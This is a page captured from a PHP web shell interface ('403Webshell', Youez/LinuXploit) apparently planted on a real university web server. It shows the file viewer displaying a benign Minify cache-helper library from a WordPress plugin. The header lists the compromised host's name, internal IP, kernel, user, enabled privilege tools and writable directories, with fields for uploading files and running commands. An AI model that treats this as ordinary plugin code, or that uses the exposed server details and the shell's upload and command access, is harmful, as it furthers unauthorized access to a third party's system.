403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tomas/public_html/wp-content/plugins/wp-optimize/vendor/mrclay/minify/static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tomas/public_html/wp-content/plugins/wp-optimize/vendor/mrclay/minify/static/lib.php
<?php

namespace Minify\StaticService;

/**
 * Build a URI for the static cache
 *
 * @param string $static_uri E.g. "/min/static"
 * @param string $query E.g. "b=scripts&f=1.js,2.js"
 * @param string $type "css" or "js"
 * @return string
 */
function build_uri($static_uri, $query, $type)
{
    $static_uri = rtrim($static_uri, '/');
    $query = ltrim($query, '?');

    $ext = ".$type";
    if (substr($query, - strlen($ext)) !== $ext) {
        $query .= "&z=$ext";
    }

    $cache_time = get_cache_time();

    return "$static_uri/$cache_time/$query";
}

/**
 * Get the name of the current cache directory within static/. E.g. "1467089473"
 *
 * @param bool $auto_create Automatically create the directory if missing?
 * @return null|string null if missing or can't create
 */
function get_cache_time($auto_create = true)
{
    foreach (scandir(__DIR__) as $entry) {
        if (ctype_digit($entry)) {
            return $entry;
            break;
        }
    }

    if (!$auto_create) {
        return null;
    }

    $time = (string)time();
    if (!mkdir(__DIR__ . "/$time")) {
        return null;
    }

    return $time;
}

function flush_cache()
{
    $time = get_cache_time(false);
    if ($time) {
        remove_tree(__DIR__ . "/$time");
    }
}

function remove_tree($dir)
{
    $files = array_diff(scandir($dir), array('.', '..'));

    foreach ($files as $file) {
        is_dir("$dir/$file") ? remove_tree("$dir/$file") : unlink("$dir/$file");
    }

    return rmdir($dir);
}

Youez - 2016 - github.com/yon3zu
LinuXploit